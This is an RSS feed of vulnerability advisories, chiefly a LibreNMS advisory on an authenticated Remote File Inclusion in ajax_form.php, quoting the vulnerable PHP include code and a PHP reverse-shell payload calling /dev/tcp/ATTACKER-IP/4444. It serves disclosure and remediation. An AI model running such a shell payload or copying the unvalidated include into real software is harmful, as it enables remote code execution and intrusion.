<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 15 Oct 2026 07:59:24 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-248340</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-248340</link>
      <description>EUVD-2026-248340</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-248340</guid>
    </item>
    <item>
      <title>fkie_cve-2025-54138</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-54138</link>
      <description>&lt;p&gt;LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems. LibreNMS versions 25.6.0 and below contain an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting. This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. This is fixed in version 25.7.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems. LibreNMS versions 25.6.0 and below contain an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting. This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. This is fixed in version 25.7.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-54138</guid>
    </item>
    <item>
      <title>GHSA-gq96-8w38-hhj2 — LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-gq96-8w38-hhj2</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: librenms/librenms&lt;/p&gt;
&lt;p&gt;LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input.&lt;/p&gt;
&lt;p&gt;The application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:&lt;/p&gt;
&lt;p&gt;```php
if (file_exists(&amp;#39;includes/html/forms/&amp;#39; . $_POST[&amp;#39;type&amp;#39;] . &amp;#39;.inc.php&amp;#39;)) {
    include_once &amp;#39;includes/html/forms/&amp;#39; . $_POST[&amp;#39;type&amp;#39;] . &amp;#39;.inc.php&amp;#39;;
}
```
This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.&lt;/p&gt;
&lt;p&gt;&amp;gt;  This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.&lt;/p&gt;
&lt;p&gt;# Conditions for Exploitation&lt;/p&gt;
&lt;p&gt;- Attacker must be authenticated    
- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink)&lt;/p&gt;
&lt;p&gt;# Example Impact (RCE)&lt;/p&gt;
&lt;p&gt;If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:&lt;/p&gt;
&lt;p&gt;```php
&amp;lt;?php system(&amp;#39;/bin/bash -c &amp;#34;bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER-IP/4444 0&amp;gt;&amp;amp;1&amp;#34;&amp;#39;); ?&amp;gt;
```
https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;# Recommended Fix&lt;/p&gt;
&lt;p&gt;- Implement strict allow listing or hardcoded routing instead of dynamically including user-suppl…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: librenms/librenms&lt;/p&gt;
&lt;p&gt;LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input.&lt;/p&gt;
&lt;p&gt;The application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:&lt;/p&gt;
&lt;p&gt;```php
if (file_exists(&amp;#39;includes/html/forms/&amp;#39; . $_POST[&amp;#39;type&amp;#39;] . &amp;#39;.inc.php&amp;#39;)) {
    include_once &amp;#39;includes/html/forms/&amp;#39; . $_POST[&amp;#39;type&amp;#39;] . &amp;#39;.inc.php&amp;#39;;
}
```
This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.&lt;/p&gt;
&lt;p&gt;&amp;gt;  This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.&lt;/p&gt;
&lt;p&gt;# Conditions for Exploitation&lt;/p&gt;
&lt;p&gt;- Attacker must be authenticated    
- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink)&lt;/p&gt;
&lt;p&gt;# Example Impact (RCE)&lt;/p&gt;
&lt;p&gt;If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:&lt;/p&gt;
&lt;p&gt;```php
&amp;lt;?php system(&amp;#39;/bin/bash -c &amp;#34;bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER-IP/4444 0&amp;gt;&amp;amp;1&amp;#34;&amp;#39;); ?&amp;gt;
```
https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;# Recommended Fix&lt;/p&gt;
&lt;p&gt;- Implement strict allow listing or hardcoded routing instead of dynamically including user-suppl…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-gq96-8w38-hhj2</guid>
    </item>
  </channel>
</rss>
